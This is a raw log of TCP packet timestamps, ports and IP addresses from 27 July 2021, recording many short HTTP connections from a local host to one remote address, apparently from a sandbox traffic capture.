Jul 27, 2021 22:07:32.190011024 CEST	49758	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.193229914 CEST	49758	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.220865011 CEST	80	49758	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.220953941 CEST	49758	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.249198914 CEST	80	49758	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.539727926 CEST	80	49758	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.539752960 CEST	80	49758	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.539881945 CEST	49758	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.539938927 CEST	49758	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.565696955 CEST	80	49758	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.807213068 CEST	49759	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.837474108 CEST	80	49759	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.840245962 CEST	49759	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.843027115 CEST	49759	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.874399900 CEST	80	49759	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.874506950 CEST	49759	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.903359890 CEST	80	49759	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.162792921 CEST	80	49759	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.162960052 CEST	49759	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.163872004 CEST	80	49759	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.163959980 CEST	49759	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.193169117 CEST	80	49759	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.386063099 CEST	49760	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.415232897 CEST	80	49760	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.415520906 CEST	49760	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.418672085 CEST	49760	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.446572065 CEST	80	49760	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.446660995 CEST	49760	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.476577997 CEST	80	49760	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.703464985 CEST	80	49760	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.703614950 CEST	49760	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.703669071 CEST	80	49760	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:33.703749895 CEST	49760	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:33.732542992 CEST	80	49760	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.010875940 CEST	49764	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.040546894 CEST	80	49764	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.041692972 CEST	49764	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.045519114 CEST	49764	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.076237917 CEST	80	49764	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.078632116 CEST	49764	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.108031988 CEST	80	49764	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.331361055 CEST	80	49764	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.331382036 CEST	80	49764	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.331821918 CEST	49764	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.331839085 CEST	49764	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.363368034 CEST	80	49764	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.589128017 CEST	49767	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.618818998 CEST	80	49767	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.618963957 CEST	49767	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.621776104 CEST	49767	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.652087927 CEST	80	49767	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.652256966 CEST	49767	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.683319092 CEST	80	49767	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.974168062 CEST	80	49767	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.974196911 CEST	80	49767	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:34.974358082 CEST	49767	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:34.974390984 CEST	49767	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.001454115 CEST	80	49767	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.238451004 CEST	49768	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.269121885 CEST	80	49768	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.269335985 CEST	49768	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.271904945 CEST	49768	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.302560091 CEST	80	49768	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.304254055 CEST	49768	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.335294962 CEST	80	49768	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.558635950 CEST	80	49768	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.558650970 CEST	80	49768	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.558769941 CEST	49768	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.558815002 CEST	49768	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.588185072 CEST	80	49768	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.770704985 CEST	49769	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.799233913 CEST	80	49769	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.800925016 CEST	49769	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.817393064 CEST	49769	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.843316078 CEST	80	49769	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:35.843571901 CEST	49769	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:35.871762037 CEST	80	49769	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.154567957 CEST	80	49769	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.154647112 CEST	80	49769	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.155031919 CEST	49769	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.155061960 CEST	49769	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.182847977 CEST	80	49769	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.408503056 CEST	49770	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.437354088 CEST	80	49770	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.437597990 CEST	49770	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.440412045 CEST	49770	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.468924999 CEST	80	49770	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.469255924 CEST	49770	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.497659922 CEST	80	49770	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.721529007 CEST	80	49770	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.721560001 CEST	80	49770	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:36.721741915 CEST	49770	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.721760988 CEST	49770	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:36.751310110 CEST	80	49770	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:37.332676888 CEST	49771	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:37.360347033 CEST	80	49771	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:37.360596895 CEST	49771	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:37.365869045 CEST	49771	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:37.392321110 CEST	80	49771	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:37.392513037 CEST	49771	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:37.420917988 CEST	80	49771	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:37.650926113 CEST	80	49771	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:37.650949001 CEST	80	49771	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:37.651086092 CEST	49771	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:37.651118994 CEST	49771	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:37.678162098 CEST	80	49771	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:38.500154018 CEST	49772	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:38.531404018 CEST	80	49772	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:38.532005072 CEST	49772	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:38.546160936 CEST	49772	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:38.576416969 CEST	80	49772	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:38.576571941 CEST	49772	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:38.605947018 CEST	80	49772	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:38.827035904 CEST	80	49772	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:38.827183008 CEST	80	49772	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:38.827238083 CEST	49772	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:38.827259064 CEST	49772	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:38.856492043 CEST	80	49772	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:39.139954090 CEST	49773	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:39.165497065 CEST	80	49773	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:39.167694092 CEST	49773	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.039285898 CEST	49773	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.066338062 CEST	80	49773	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.066505909 CEST	49773	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.093776941 CEST	80	49773	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.330121994 CEST	80	49773	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.330152035 CEST	80	49773	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.330245018 CEST	49773	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.330319881 CEST	49773	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.358288050 CEST	80	49773	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.613574982 CEST	49774	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.641287088 CEST	80	49774	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.641427994 CEST	49774	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.644849062 CEST	49774	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.672530890 CEST	80	49774	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.672698021 CEST	49774	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.700630903 CEST	80	49774	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.963196039 CEST	80	49774	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.963282108 CEST	80	49774	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:40.963365078 CEST	49774	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.963932991 CEST	49774	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:40.997000933 CEST	80	49774	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.315310955 CEST	49775	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.341908932 CEST	80	49775	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.346143007 CEST	49775	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.382419109 CEST	49775	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.409913063 CEST	80	49775	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.410001993 CEST	49775	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.442240953 CEST	80	49775	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.662458897 CEST	80	49775	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.662482977 CEST	80	49775	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.662647009 CEST	49775	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.662689924 CEST	49775	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.690686941 CEST	80	49775	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.944725990 CEST	49776	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.973623991 CEST	80	49776	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:41.973769903 CEST	49776	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:41.977185965 CEST	49776	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.004242897 CEST	80	49776	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.004367113 CEST	49776	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.031277895 CEST	80	49776	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.262231112 CEST	80	49776	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.262326956 CEST	80	49776	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.262437105 CEST	49776	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.262502909 CEST	49776	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.289344072 CEST	80	49776	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.515513897 CEST	49777	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.543612957 CEST	80	49777	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.543909073 CEST	49777	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.581568956 CEST	49777	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.610775948 CEST	80	49777	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.610954046 CEST	49777	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.640047073 CEST	80	49777	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.886313915 CEST	80	49777	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.886482954 CEST	49777	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.887226105 CEST	80	49777	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:42.887312889 CEST	49777	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:42.915282011 CEST	80	49777	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.217364073 CEST	49778	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.242789984 CEST	80	49778	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.242953062 CEST	49778	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.246994019 CEST	49778	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.274420023 CEST	80	49778	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.274502039 CEST	49778	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.301961899 CEST	80	49778	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.510684013 CEST	80	49778	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.510782003 CEST	80	49778	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.510829926 CEST	49778	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.510839939 CEST	49778	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.540150881 CEST	80	49778	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.756331921 CEST	49779	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.787087917 CEST	80	49779	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.787208080 CEST	49779	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.790280104 CEST	49779	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.819278955 CEST	80	49779	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:43.819510937 CEST	49779	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:43.849236965 CEST	80	49779	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.189711094 CEST	80	49779	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.189815998 CEST	80	49779	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.190018892 CEST	49779	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.190045118 CEST	49779	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.225287914 CEST	80	49779	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.452709913 CEST	49780	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.478416920 CEST	80	49780	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.478878975 CEST	49780	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.482639074 CEST	49780	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.510149956 CEST	80	49780	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.510783911 CEST	49780	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.539021015 CEST	80	49780	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.788959980 CEST	80	49780	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.788978100 CEST	80	49780	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:44.790009975 CEST	49780	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.790095091 CEST	49780	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:44.820200920 CEST	80	49780	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.061547995 CEST	49781	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.090343952 CEST	80	49781	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.090790987 CEST	49781	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.094517946 CEST	49781	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.122750044 CEST	80	49781	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.122976065 CEST	49781	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.150614977 CEST	80	49781	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.395843029 CEST	80	49781	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.396039009 CEST	49781	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.396429062 CEST	80	49781	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.402609110 CEST	49781	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.425981045 CEST	80	49781	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.633543015 CEST	49782	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.661803961 CEST	80	49782	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.661964893 CEST	49782	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.665029049 CEST	49782	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.693669081 CEST	80	49782	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.693802118 CEST	49782	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.723252058 CEST	80	49782	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.952595949 CEST	80	49782	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.952625036 CEST	80	49782	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:45.952728033 CEST	49782	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.952872038 CEST	49782	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:45.978677988 CEST	80	49782	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.202564001 CEST	49783	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.230253935 CEST	80	49783	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.230436087 CEST	49783	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.233969927 CEST	49783	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.261540890 CEST	80	49783	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.261635065 CEST	49783	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.289227009 CEST	80	49783	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.514087915 CEST	80	49783	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.514110088 CEST	80	49783	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.514213085 CEST	49783	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.514236927 CEST	49783	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.545156002 CEST	80	49783	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.783263922 CEST	49784	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.809283018 CEST	80	49784	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.809449911 CEST	49784	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.813707113 CEST	49784	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.840769053 CEST	80	49784	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:46.844805002 CEST	49784	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:46.873640060 CEST	80	49784	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.148789883 CEST	80	49784	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.149013996 CEST	80	49784	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.149089098 CEST	49784	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.149113894 CEST	49784	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.174961090 CEST	80	49784	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.360229969 CEST	49785	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.388006926 CEST	80	49785	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.388187885 CEST	49785	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.392683983 CEST	49785	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.420432091 CEST	80	49785	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.424021006 CEST	49785	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.453607082 CEST	80	49785	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.680346012 CEST	80	49785	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.680366993 CEST	80	49785	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.681823969 CEST	49785	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.681902885 CEST	49785	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.713136911 CEST	80	49785	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.713154078 CEST	80	49785	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.713296890 CEST	49785	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.907946110 CEST	49786	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.936445951 CEST	80	49786	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.936553955 CEST	49786	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.939809084 CEST	49786	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.968167067 CEST	80	49786	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:47.968285084 CEST	49786	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:47.995767117 CEST	80	49786	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.215269089 CEST	80	49786	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.215485096 CEST	49786	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.217420101 CEST	80	49786	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.218471050 CEST	49786	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.244590044 CEST	80	49786	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.449362040 CEST	49787	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.482460976 CEST	80	49787	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.482686996 CEST	49787	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.486304045 CEST	49787	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.517319918 CEST	80	49787	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.521013975 CEST	49787	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.552999973 CEST	80	49787	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.780293941 CEST	80	49787	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.780320883 CEST	80	49787	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.780652046 CEST	49787	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.780757904 CEST	49787	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:48.808598995 CEST	80	49787	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:48.989909887 CEST	49788	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.016889095 CEST	80	49788	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.017111063 CEST	49788	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.024648905 CEST	49788	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.051964998 CEST	80	49788	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.052402020 CEST	49788	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.079525948 CEST	80	49788	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.315342903 CEST	80	49788	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.315361977 CEST	80	49788	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.315529108 CEST	49788	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.315582991 CEST	49788	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.343348980 CEST	80	49788	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.521029949 CEST	49789	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.548938990 CEST	80	49789	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.549088955 CEST	49789	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.556924105 CEST	49789	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.587555885 CEST	80	49789	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.587682962 CEST	49789	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.616760015 CEST	80	49789	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.882350922 CEST	80	49789	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.882376909 CEST	80	49789	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:49.882445097 CEST	49789	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.882505894 CEST	49789	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:49.911384106 CEST	80	49789	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.088989019 CEST	49790	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.114973068 CEST	80	49790	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.115818977 CEST	49790	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.121948004 CEST	49790	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.150657892 CEST	80	49790	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.151668072 CEST	49790	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.180320024 CEST	80	49790	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.405240059 CEST	80	49790	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.405263901 CEST	80	49790	172.67.155.45	192.168.2.6
